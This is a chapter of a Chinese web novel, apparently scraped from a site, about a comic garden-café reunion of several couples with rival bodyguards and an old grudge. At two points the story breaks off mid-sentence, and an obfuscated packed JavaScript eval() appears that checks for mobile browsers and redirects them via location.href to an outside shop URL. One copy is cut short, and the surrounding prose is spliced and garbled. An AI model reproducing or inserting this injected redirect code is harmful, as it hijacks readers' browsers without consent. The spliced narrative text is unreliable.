秦朗跟在后面,嘴里还在喋喋不休:“最佳着装?我看是最佳连体婴着装吧!啧,这袖扣,也是一对的吧?邵既明你老实交代,你内?裤是不是也……” 走在前面的邵既明突然回头,露出一个纯洁又灿烂的笑容,打断他:“哥,你这么好奇我的内?裤款式,不太好吧?虽然我们兄弟情深,但我的内?裤只跟我老婆是情侣款。” “……我呸!谁好奇了!你个臭不要脸的!” 周冉面无表情地从他身边走过,留下一句轻飘飘的话:“提醒你一下,秦先生,你今天的袜子,好像穿的不是一对。” 秦朗猛地刹住脚步,低头,以迅雷不及掩耳之势想拉裤脚查看,又硬生生忍住,脸上一阵红一阵白,梗着脖子低声吼:“我、我这是最新潮流!不对称美学!你不懂!” 走在前面的南景,终于忍不住,低下头,肩膀微微耸动起来。邵既明立刻察觉,侧头在他耳边不知说了什么,惹得南景轻轻用手肘顶了他一下,那笑意却从眼角眉梢泄露出来,再也藏不住。 加长轿车缓缓驶入一条绿树成荫的私人道路,最终停在一座被繁花和高墙包围的隐蔽花园咖啡厅前。阳光正好,透过梧桐树叶洒下斑驳光点,空气里弥漫着咖啡豆烘焙的焦香和甜腻的糕点气息,本该是闲适惬意的景象。 如果忽略门口那两排穿着黑西装、戴着耳麦、站得如同复制粘贴般笔挺的男人的话。 周冉推开车门的动作顿了一秒,目光从那群明显训练有素、浑身散发着生人勿近气息的壮汉身上扫过,然后缓缓转向正殷勤探身准备下车的秦朗,眉梢微挑,:“秦总,你这是临时改行,接了单□□火拼的私活,还是终于决定要上演《教父》淮汐分陀现场版?需不需要我先去给你买把椅子,再找只猫来撸?” 秦朗刚伸出一只擦得锃亮的皮鞋,闻言差点绊了一下。他迅速站直,清了清嗓子,凑近周冉,用自以为很低、实则全车人都能听清的音量耳语:“老婆!小点声!这是策略!战略性防御部署!”他鬼鬼祟祟地瞥了一眼窗外那群保镖,又看了看正疑惑望来的南景和瞬间进入警戒状态的邵既明,压低声音解释:“你看啊,司南那个小混蛋当年干的好事,虽说过去这么久了,但万一邵既明这小心眼的今天触景生情,醋坛子炸了,当场表演一个手撕前情敌……哦不对,是手撕妄想前情敌,咱们总得有人拉着点,防止事态升级成社会新闻吧?还有那个陈序,你是不知道,他那眼神,看南景就跟看杀父仇人似的,虽然我觉得他纯粹是嫉妒我大舅哥长得比他帅、人品比他好、气质比他佳……” “十年前的老黄历,”周冉打断他,抬手按了按太阳穴,语气里充满了“这蠢货没救了”的无奈,“陈序要是还放不下,早就该去看心理医生,而不是带着一群黑衣人来喝咖啡。秦朗,你脑子里除了水,是不是还灌满了过期的狗血八点档剧本?” “有备无患嘛!”秦朗理直气壮,甚至还挺了挺胸膛,“这叫防患于未然!男人的浪漫,就是为心爱的人准备好万全的退路和……足够多的保镖!” 周冉连白眼都懒得翻了,直接绕过他,踩着高跟鞋径直向咖啡厅入口走去,留下一句轻飘飘的:“你的浪漫成本,记得从你自己的零花钱里扣。” 秦朗:“……老婆!我的卡不都在你那儿吗?!” 等他们走近,才发觉事情似乎没那么简单。咖啡厅花园入口的另一侧,也整齐划一地站着另一排数量相当、制服相似、表情同样冷硬的保镖。两边人马隔着几米宽的鹅卵石小径,沉默地对峙着,空气里仿佛有无形的电火花在噼啪作响,衬得中间那片精心打理过的玫瑰丛都显得杀气腾腾。 秦朗一看这阵仗,非但没慌,反而眼睛一亮,迅速凑到周冉身边,用胳膊肘碰了碰她,压低声音,语气里满是“看吧看吧我就说”的得意:“瞧见没?老婆!我就说这陈序没安好心!这哪是来聚会,这分明是来摆鸿门宴的!幸好你老公我深谋远虑、料事如神!”他挺起胸膛,试图把周冉往自己身后挡,虽然周冉纹丝不动,“等会儿万一打起来,你千万别怕,躲我身后!我这些兄弟,一个能打十个!保证……” “保证让这场聚会直接登上明天社会版头条,标题就叫中年富豪为陈年旧怨聚众斗殴,花园咖啡秒变古惑仔战场?”周冉接过话头,语气凉飕飕的,目光扫过两边加起来快能组个加强排的保镖,又看看秦朗那副跃跃欲试、仿佛马上要掏出把西瓜刀喊“兄弟们跟我上”的架势,最终吐出五个字:“一群幼稚鬼。” 这时,南景和邵既明也下了车。南景看到这保镖列队的场面,脚步顿了一下,眉头微蹙。而他身后的邵既明,几乎是下车瞬间,周身气场就发生了微妙的变化。刚才在车里黏在南景身边时那种大型犬般的柔软依赖感瞬间收敛,背脊挺直,下颌线条微微绷紧,眼神扫过对面那些保镖和陈序时,锐利得像出了鞘的刀。他依旧跟在南景身后半步,但那不再是追随,而是一种蓄势待发的护卫姿态,仿佛随时准备将南景完全纳入自己的保护圈。用秦朗的吐槽来说,就是萨摩耶秒切换成德牧,还是训练有素、能一口咬断歹徒脖子的那种。 几人走向花园入口,两边的保镖沉默地注视着他们,自动让开一条通道。那场面,不像进入休闲聚会的场所,倒像是什么重要人物在检阅仪仗队,或者……误入了什么非法组织的交易现场。 花园内部倒是另一番天地。阳光透过爬满蔷薇的花架洒下,空气中飘散着现磨咖啡和新鲜花草的香气。精心布置的长桌铺着洁白的桌布,上面摆满了精致的点心和饮品。如果不是周围站着那群格格不入的黑衣人的话,这该是个非常美好的秋日聚会。 司南率先迎了上来。他看起来比实际年龄小不少,娃娃脸,眼睛圆圆的,穿着浅色卫衣和牛仔裤,还是一副阳光大学生的模样。他看到周冉和南景,脸上立刻绽开一个灿烂的笑容,小跑过来:“冉姐!南景!”他声音清脆,带着点少年气,目光触及后面的邵既明和秦朗时,笑容收敛了些,变得有些不好意思,挠了挠头,“邵既明,朗哥……那个,当初那事儿,真的真的对不住啊,我那时候太混账了,害你们……”他话没说完,但意思到了,眼神里满是真诚的歉意。 南景神色平静,甚至露出温和的笑意,拍了拍司南的肩膀:“都过去了,不提了。” 然而,气氛并没有因为南景的大度而完全缓和。司南身后,陈序慢一步走了过来。他身形高大,穿着剪裁精良的黑色衬衫,轮廓深邃,眉眼间带着一股生人勿近的冷峻。他的目光几乎是第一时间就越过众人,落在了南景身上。那眼神有一丝陈年的芥蒂。他伸出手,占有性地揽住了司南的肩膀,将人往自己怀里带了带,动作充满了宣告主权的意味,同时,那冷飕飕的目光依旧在南景身上打了个转,才移开。 邵既明几乎是同步上前了半步,原本只是虚扶在南景后腰的手,实打实地揽了上去,将人往自己身边带了带。他没说话,只是微微抬了抬下巴,眼神毫不避讳地迎上陈序的视线。两个男人之间的空气仿佛瞬间降温了几度,无形的气场在玫瑰花香中碰撞,连周围飞舞的阳光尘埃都似乎凝滞了一瞬。在护食和宣告所有权这方面,邵既明的气势,一点也没输。 秦朗在旁边看得津津有味,用手肘捅了捅周冉,用气声说:“看!看!我就说!这特么是朋友聚会还是修罗场啊?这眼神,都快能当激光剑使了!” 周冉懒得理他,目光在花园里扫了一圈,忽然抬高了声音,带着点刻意的轻松,打破了这微妙的对峙:“哎呀,你们这算什么陈年老醋啊,看看那边,”她指向花园另一侧相对安静的角落,那里站着两个男人,一个气质温和儒雅,正低头看着手机;另一个身材挺拔,眉眼带着点不羁,正靠在廊柱上,目光却时不时飘向看手机的那位。 周冉冲他们挥了挥手,声音带着笑意:“楚萧!顾杰!这边!” 那两人闻声抬头,看到他们,也抬手挥了挥,脸上都露出了笑容。顾杰站直身体,拉着楚萧一起走了过来。 “瞧瞧人家,”周冉等他们走近,对着秦朗、邵既明、陈序几人,语气调侃,“那才是教科书级别的错过与重逢。一个误会,蹉跎了整整十年,俩傻子还都觉得自己是为对方好,玩默默退出、深情守候那一套,偶像剧都没他们能拖。好在老天爷看不过眼,总算把这俩拧巴的家伙又塞一块儿了。是吧,楚萧,顾杰?” 楚萧闻言有些不好意思地推了推眼镜,耳根微微泛红。顾杰则一把搂住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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当年周冉“离家出走”,秦朗一度急得像热锅上的蚂蚁,动用了一切能用的关系网,其中就包括这位背景神秘、手段通天的闻律修。虽然最后人是他自己凭着不要脸的毅力追回来的,但这份寻人启事的交情算是结下了。 闻律修闻声抬眼,那双浅灰色的眸子准确地对上秦朗的视线,点了点头,算是打过招呼。他身旁坐着一个气质截然不同的女生,看起来二十出头,穿着一条浅杏色的连衣裙,长发柔顺地披在肩头,笑容温婉甜美。她是温妤。 “秦朗,好久不见。”温妤先开口,声音也软软的,带着笑意。她又看向周冉,笑容更甜了几分,“冉姐。” “小温温!”周冉脸上的冷淡瞬间融化,走过去,揉了揉温妤的发顶,“可算是舍得从你的画室里出来了?我还以为你要被灵感绑架了呢。” 温妤有些不好意思地抿嘴笑:“没有……律修说我该多出来走走。” 周冉的目光顺势掠过闻律修,对旁边另一对正在看花园里锦鲤的男男也点了点头,语气熟稔:“嗨,小苏老师,狄总,别光顾着喂鱼啊,好久不见。” 被称为“小苏老师”的苏牧转过身。他气质温和儒雅,戴着一副细边眼镜,确实有股书卷气,闻言笑着推了推眼镜:“周冉同学,可别再叫我小苏老师了,都三十好几的人了,听着怪不好意思的。” 站在他身边的狄宸看起来四十左右,身材保持得极好,穿着简单的Polo衫和长裤,面容是那种历经岁月沉淀后的俊朗,自带一股沉稳的气场。他只是对众人微微颔首,算是打了招呼,目光在掠过依偎在苏牧身边的温妤时,才是柔和的。 “咦?”周冉的视线忽然被温妤腿边一个正在试图扯她裙摆的小不点吸引。那是个约莫三四岁的小男孩,穿着背带裤和小衬衫,头发卷卷的,脸蛋肉嘟嘟,一双大眼睛正乌溜溜地、好奇地打量着周围这些奇怪的大人。“这可爱得跟年画娃娃似的小家伙是谁呀?”周冉蹲下身,语气是难得的温和,甚至带着点惊喜,“温温,这该不会是你和闻律修……偷偷生的吧?速度可以啊!闷声干大事!” 闻律修浅灰色的眸子扫了周冉一眼,没说话,但眼神里清晰地写着“你的想象力可以更离谱一点”。 温妤连忙摆手:“不是的,这是邻居家的小朋友,叫段燎。他爸爸妈妈今天有事,他又特别黏……黏律修,就带他一起出来玩会儿。”她轻轻拉了拉小男孩的手,“段燎,来,叫周冉阿姨。” 小段燎却对周冉的示好没什么反应,反而松开了温妤的手,迈着小短腿,摇摇晃晃地直奔苏牧而去,然后一把抱住了苏牧的腿,仰起小脸,奶声奶气地喊道:“苏老师,抱!” 苏牧脸上露出无奈又宠溺的笑容,弯腰轻松地把他抱了起来。段燎立刻心满意足地搂住苏牧的脖子,把小脸埋在他肩头,只露出一双大眼睛,偷偷瞟着其他人。 周冉保持着蹲姿,眨了眨眼,然后直起身,拍了拍手上不存在的灰尘,故作沉重地叹了口气:“唉,看来我是真的没什么孩子缘。小可爱见到我不是跑就是躲,人生挫败感+1。” 秦朗立刻蹭过来,一把搂住周冉的肩膀,表情夸张:“老婆!这话可不能乱说!咱们家的皇位……啊不是,是亿万家产,还等着太子爷来继承呢!你总不想以后咱们辛苦打下的江山,全都便宜了秦朔那小子吧?!他到时候肯定拿着我的钱去养一群哈士奇拆家!光是想想我就心肌梗塞!” “噗~~” “哈哈哈!” “秦朗你要不要脸!” 周围的空气瞬间被笑声炸开。连一直冷着脸的陈序嘴角都抽动了一下,司南更是直接笑倒在陈序身上。邵既明搂着南景,笑得肩膀直抖,还不忘小声跟南景嘀咕:“他这算盘打得,我在太平洋对岸都听见了。” 南景也忍俊不禁,摇了摇头。 刚刚接完电话走回来的楚萧,看到的就是这幅众人哄笑的场景。他走回顾杰身边,有些疑惑地低声问:“聊什么呢?这么开心。” 顾杰顺手揽住他的腰,下巴朝秦朗那边扬了扬,憋着笑:“没什么,就是秦总在未雨绸缪,担心以后没人继承他那哈士奇基金,正试图用激将法催生呢。” 楚萧了然,也笑了。 顾杰问道:“对了,陈游和叶若呢?。” “他们啊,放鸽子了。两人临时起意,自驾往西边去了,叶若还说要在戈壁滩上看星星,让陈游给他拍星河漫游指南第九季。这两个家伙,比我们还浪。” 阳光温暖,咖啡香气混合着糕点的甜腻,在花园里飘荡。保镖们依旧沉默地站在外围,但花园中心的人们,似乎暂时忘记了那略显荒诞的安保阵仗,沉浸在老友重逢、互相调侃的轻松氛围里。那些经年的误会、无言的较量、以及各自生活中复杂的情感纠葛,在这一刻,都被秋日阳光和此起彼伏的笑话暂时冲淡。 75. 他们 2[番外] 秦朗还在为他亿万家产无人继承“悲剧而痛心疾首,捂着胸口,表情浮夸地转向闻律修,企图寻找共鸣:“老闻!你说句公道话!咱们这个年纪,是不是该考虑一下继承人问题了?总不能真等到七老八十,眼睁睁看着自己打下的江山,被隔壁老王家的熊孩子,或者自家不争气的弟弟糟蹋了吧?你看你家温温,多好的苗子,赶紧的,抓紧时间培养下一代接班人!” 闻律修抬起那双浅灰色的眸子,淡淡地扫了秦朗一眼,语气平铺直叙,却字字扎心:“第一,我的江山运作体系成熟,不需要一个可能遗传你这种跳脱思维的继承人来增加不确定风险。第二,我们根本就不算要孩子。第三,”他顿了顿,目光意有所指地掠过秦朗和周冉,“操心别人之前,建议先解决自己的持证上岗问题。无证驾驶多年,还敢嚷嚷着要培养赛车手?”(虽然他自己也一样。) “噗~!”正在喝果汁的顾杰差点呛到,猛咳起来。楚萧连忙给他拍背。苏牧抱着小段燎,低头忍笑,肩膀微微耸动。狄宸的唇角也勾起一个极淡的弧度。 秦朗被怼得一口气没上来,瞪大眼睛指着闻律修:“你、你……老闻!你这嘴是淬了毒吗?!我这叫无证驾驶吗?我这是……是终身VIP体验期!体验期你懂不懂!体验感拉满,随时可以转正!”他边说边偷瞄周冉。 周冉正用小银叉慢条斯理地切割着一块黑森林蛋糕,闻言,头也不抬,红唇微启,吐出的话比蛋糕上的巧克力屑还碎人心:“体验期过长,用户粘性下降,系统默认归类为免费试用型僵尸账号,建议清理缓存,重启流程。或者,”她终于抬眼,给了秦朗一个“和善”的微笑,“直接格式化。” 秦朗:“……”他悲愤地转向南景和邵既明,“大舅哥!管管你妹!她这属于家庭冷暴力!精神虐待!” 南景还没来得及开口,邵既明已经搂紧了他的腰,下巴一抬,用一种“我老婆天下第一对”的语气反驳:“冉姐说得很有道理啊。哥,不是我说你,你这试用期都快赶上Windows XP系统的支持周期了,是该升级了。你看我和我老婆,合法合规,持证上岗,心里多踏实。”他说着,还特意晃了晃和南景十指相扣的手,无名指上的情侣戒指闪烁出“嚣张”的光芒。 陈序冷飕飕的声音插了进来:“踏实?靠下药误打误撞得来的踏实?”司南的脸色瞬间白了,慌张地拉陈序的袖子:“阿序!别说了!” 花园里的空气仿佛瞬间凝固了几秒。阳光依旧温暖,但落在邵既明骤然绷紧的侧脸上,却似乎带上了一丝寒意。他揽着南景的手臂肌肉明显收紧,眼神锐利地射向陈序,方才面对秦朗时那点幼稚的炫耀感荡然无存,只剩带着压迫感的冷冽。“陈总,”他开口,声音平稳,却带着冰碴,“有些事,过去是过去了,但嘴欠的毛病,看来是没过去。需要我帮你回忆一下,什么叫祸从口出吗?或者,让你身边这些摆设,活动活动筋骨?”他意有所指地瞥了一眼陈序带来的那些保镖。 秦朗瞬间来劲了,猛地站起来,一脸“看吧看吧我就知道”的兴奋,对着自己带来的保镖头子方向猛挥手:“兄弟们!精神点!来活了!保护我方大舅哥和妹夫!……等等,重点保护我老婆!” 黑衣人们:“……”面无表情,内心OS:老板,剧本里没这段打戏啊,加班费怎么算? 周冉一把将秦朗拽回座位,力道之大让他踉跄了一下。她揉了揉太阳穴,觉得今天带秦朗出来可能是个战略性错误。她看向陈序:“陈序,今天是出来散心,不是出来结仇的。司南当年犯浑,该道的歉道了,该受的教训也受了。南景和邵既明如今好好的,你非要翻旧账添堵,是想证明你比司南当年还不会做人?” 她又看向邵既明,语气稍微缓和:“还有你,邵既明。陈年烂账,翻一遍是恶心对方,翻两遍是恶心自己。你今天是来秀恩爱的,还是来演□□片的?把你那德牧模式收一收,吓着小朋友了。”她指了指苏牧怀里正好奇张望的小段燎。 苏牧赶紧捂住段燎的眼睛:“小朋友不要看,叔叔们在进行一种很新的……社交演练。” 小段燎扒拉开苏牧的手,眨巴着大眼睛,忽然伸出小手指着陈序和邵既明,用清亮的童音说:“两个叔叔,眼睛在打架!像动画片里那样,biu biu biu!”他还配上了音效。 众人:“……” 紧绷的气氛被这童言稚语戳了个洞,噗嗤一下漏了气。司南第一个没忍住,“噗”地笑出声,随即又觉得不妥,赶紧捂住嘴,眼睛弯成了月牙。温妤也低头抿嘴笑起来。顾杰直接“哈哈哈”出声,拍了拍楚萧的腿:“精辟!小朋友真相了!” 陈序冷硬的脸部线条松动了一毫米,似乎也觉得跟个孩子计较的自己也挺幼稚,移开了视线,端起咖啡喝了一口,没再说话。 邵既明哼了一声,但搂着南景的力道放松了些,还顺手把南景面前那杯有点凉了的咖啡挪开,换上了温水。他小声嘀咕:“谁跟他眼神打架,浪费我电量。我眼神是给我老婆发电用的。” 南景在桌下轻轻捏了捏邵既明的手,示意他适可而止。他看向司南,主动换了个话题,语气温和:“司南,听说你最近在弄那个海边民宿的项目?进展怎么样?” 司南如蒙大赦,立刻接话,眼睛都亮了:“挺好的!主打的就是一个智能环保和沉浸式体验,我特意请了……” 话题总算被引向了相对安全的地带。秦朗不甘寂寞,又凑到闻律修旁边,压低声音:“老闻,说真的,你就没点……那方面的打算?”他挤眉弄眼,目光在闻律修和温妤之间逡巡,“你看人家小温温,年轻漂亮又聪明,跟你这老狐狸……不是,是跟你这成熟稳重的钻石王老五,多配!赶紧定下来,生个小混血宝宝,那颜值,绝对秒杀全场!到时候让我老婆当干妈,我当干爹,咱们亲上加亲!” 闻律修慢条斯理地切着一块几乎没什么甜味的杏仁蛋糕,浅灰色的眸子瞥了秦朗一眼:“秦朗,你的大脑构造,是否百分之八十都用于处理这种毫无边界感且低效的社交噪音?以及,你对亲上加亲的定义,是否来源于某些伦理观堪忧的乡土电视剧?” 秦朗被怼得哑口无言,愤愤地戳着自己盘子里的蛋糕:“我这是关心你!不识好人心!” 温妤脸颊微红:“律修,怼的好啊……” 闻律修将切好的蛋糕推到温妤面前,声音温柔:“陈述事实而已。另外,关于后代问题,”他顿了顿,看向正乖乖被苏牧喂一小块水果的段燎,“现阶段,应付这一个临时体验版,已经足够测试我的耐心阈值上限。” 小段燎似乎感觉到在说自己,扭过头,冲着闻律修咧开缺了颗门牙的嘴,露出一个灿烂无比、糊着水果汁的笑容,口齿不清地喊:“修修!吃!” 闻律修:“……”他面无表情地转回头,拿起餐巾,动作略显僵硬地擦了擦并没有沾到任何东西的嘴角。 周冉将一切尽收眼底,优雅地抿了一口咖啡,对温妤说:“小温温,看来你家这位,对临时体验版的耐性测试,结果不太理想啊。建议延长测试周期,增加压力变量,比如,”她眼波流转,闪过一丝狡黠,“让段燎在他书房里玩一下午拼图,或者,用他的高定西装试试油画颜料的手感。” 温妤忍俊不禁,小声说:“冉姐,你别出馊主意……” 秦朗立刻复活,举手:“我赞成!强烈赞成!老闻的书房跟军事禁区似的,让小家伙去搞个破坏,肯定精彩!我可以提供远程技术指导和精神支持!直播分成咱们三七开,我三你七!” 闻律修一个眼刀飞过来,秦朗瞬间噤声,低头猛吃蛋糕。 另一边,顾杰正搂着楚萧,跟苏牧和狄宸聊天。顾杰是个话痨,尤其喝了点东西之后:“苏老师,狄总,你俩这算是……退休老干部生活提前体验版?一个教书育人,一个运筹帷幄,闲下来就喂喂鱼,溜溜弯,啧啧,这日子,比我们这些还在红尘里打滚的安逸多了。” 苏牧温和地笑笑:“哪有,学校事情也多。狄宸他……也忙。”他语气自然,但提到狄宸时,眼角余光下意识地飘向身旁的男人。 狄宸放下咖啡杯:“嗯,最近在谈西部的项目。顾杰,你们公司要是对那个板块有兴趣,可以找时间聊聊。” “好啊!”顾杰眼睛一亮,生意经立刻上线,“狄总开口,那必须有兴趣!我有个团队专门做这个,回头我把资料发您……”他边说边掏手机。 楚萧无奈地拉住他:“顾杰,今天是聚会,不是商务洽谈会。” 顾杰嘿嘿一笑,收起手机,手臂重新搭回楚萧肩上:“习惯了习惯了。哎,不过说真的,看到你们这两对,”他指了指苏牧狄宸,又指了指闻律修和温妤(自动忽略了旁边还在试图用眼神杀死蛋糕的秦朗和一脸冷淡的周冉),“还有陈序司南那对冤家,加上我和楚萧……咱们这群人,凑在一起可真够写一本《都市情感多样性样本观察报告》了,什么款都有。” 楚萧推了他一下,低声道:“你少说两句。” “我说的是事实嘛!”顾杰不以为然,忽然又想起什么,压低声音,贼兮兮地问:“对了,苏老师,狄总,你们说,他到底怎么把温妤这么个甜妹拐到手的?传授点经验呗?你看我家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17046526|194740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 楚萧,当年可是我历经九九八十一难才……”话音在楚萧警告的眼神中戛然而止。 苏牧笑着摇摇头,看了一眼闻律修那边。闻律修正被小段燎扯着袖子要求“修修举高高”,虽然脸色依旧没什么表情,但手臂已经妥协地伸了出去。温妤在一旁看着,眉眼弯弯。 “有些事,”苏牧收回目光,“可能不需要那么多难。时机对了,人对了,或许就够了。就像……”他顿了顿,没有说下去,只是温和地笑了笑。 狄宸伸手,将他面前那杯已经凉透的茶挪开,换上了一杯温热的。苏牧微微一怔,随即低下头,耳根有些泛红。 顾杰看在眼里,撞了撞楚萧的肩膀,用气声说:“看,高手。这叫无声胜有声。学着点。” 楚萧没好气地白他一眼,嘴角却忍不住上扬。 花园的另一角,司南正在手舞足蹈地跟南景描述他的民宿设计,邵既明虽然一脸“我老婆只能听我说话”的不爽,但也没打断,只是不停地给南景递水递点心,试图用投喂刷存在感。陈序坐在司南旁边,虽然依旧没什么笑容,但目光落在司南神采飞扬的侧脸上时,那层冰霜似乎融化了些许。 秦朗终于找到了新的攻击目标。他瞄了半天,发现陈序带来的保镖里,有一个格外高大魁梧、表情也最凶悍的,顿时计上心头。他凑近周冉,小声说:“老婆,你看陈序那边那个,块头最大的那个,像不像电影里那种一拳能打死一头牛的终极保镖?” 周冉瞥了一眼,不置可否。 秦朗继续:“你说,要是让我带的那个身手最好的兄弟,去跟他切磋一下,谁赢面大?就当给聚会助助兴!点到为止!我赌我那兄弟赢!赌注嘛……要是赢了,老婆你今晚就答应我一个不过分的小要求!要是输了……呃,输了我就……我就一个月不看财经新闻!” 周冉放下咖啡杯,她缓缓转过头,看着秦朗,美丽的眼睛里没有任何情绪,却让秦朗莫名打了个寒颤。 “秦朗,如果你今天敢让这两个加起来快四百斤的成年男性,在别人精心打理的花园里,像两只发情的袋鼠一样互殴,毁掉这些玫瑰,吓坏小朋友,并且让这场聚会以聚众斗殴的笔录收场,”她微微一笑,红唇勾起危险的弧度,“我保证,你下半辈子,都不用再看财经新闻了。因为你不会再有任何需要关心的资产。” 秦朗:“……!!!”他瞬间正襟危坐,双手放在膝盖上,表情严肃像要宣誓:“报告领导!我刚刚只是在做一种艺术性抽象的语言表达!旨在烘托气氛!绝对没有任何付诸实践的愚蠢想法!我以我未来儿子的继承权发誓!” 众人再次哄笑起来。连陈序那边那个被点名的终极保镖,嘴角似乎都几不可察地抽搐了一下。 阳光渐渐西斜,给花园里的一切都拉长了影子。咖啡续了一杯又一杯,点心盘换了一轮又一轮。那些经年的爱恨、细微的尴尬、无声的较量,仿佛都在这漫长而琐碎的午后时光里,被阳光晒得褪了色,被笑声冲淡了浓度。 有插科打诨,有唇枪舌剑,有暗流涌动,也有不经意流露的温柔。有对过去的释然,有对现在的嘚瑟,也有对未来的那点小心翼翼的调侃。 小段燎终于在苏牧怀里睡着了,小脑袋一点一点的。温妤轻轻把他接过来,抱在怀里。闻律修看了一眼,脱下了自己的西装外套,递了过去。温妤愣了一下,随即甜甜一笑,用外套轻轻盖住了孩子。 顾杰还在拉着狄宸聊项目,楚萧已经放弃阻止,转而和南景聊起了最近的艺术展。邵既明见缝插针地加入话题,努力把话题往“下次和老婆一起去看”上引。司南靠着陈序,小声说着什么,陈序偶尔点头,神色是罕见的平和。秦朗则围在周冉身边,花样百出地试图获得一点试用期转正的正面反馈,尽管得到的多是白眼和毒舌。 保镖们依旧沉默地站着,像一群尽职尽责的黑色背景板。但花园中心那片被阳光、美食、咖啡和复杂人际关系填充的空间里,时间仿佛以一种缓慢而黏稠的方式流淌着,带着各种无厘头的对话、猝不及防的吐槽、和深藏于玩笑之下的,那些只有当事人才懂的百味杂陈。 直到夕阳将天边染成金红,这场漫长、混乱、又莫名和谐的秋日花园聚会,才在秦朗嚷嚷着“饿了饿了该吃晚饭了不能让小朋友饿着”的咋呼声中,告一段落。众人起身,互相道别,约着下次不知何时才能再实现的聚会。保镖们终于活了过来,开始有序地移动,为主人们清理离场的道路。 花园渐渐空了下来,只剩下满桌狼藉的杯盘。玫瑰在晚风中轻轻摇曳,仿佛也刚刚旁观了一场漫长而有趣的人间喜剧。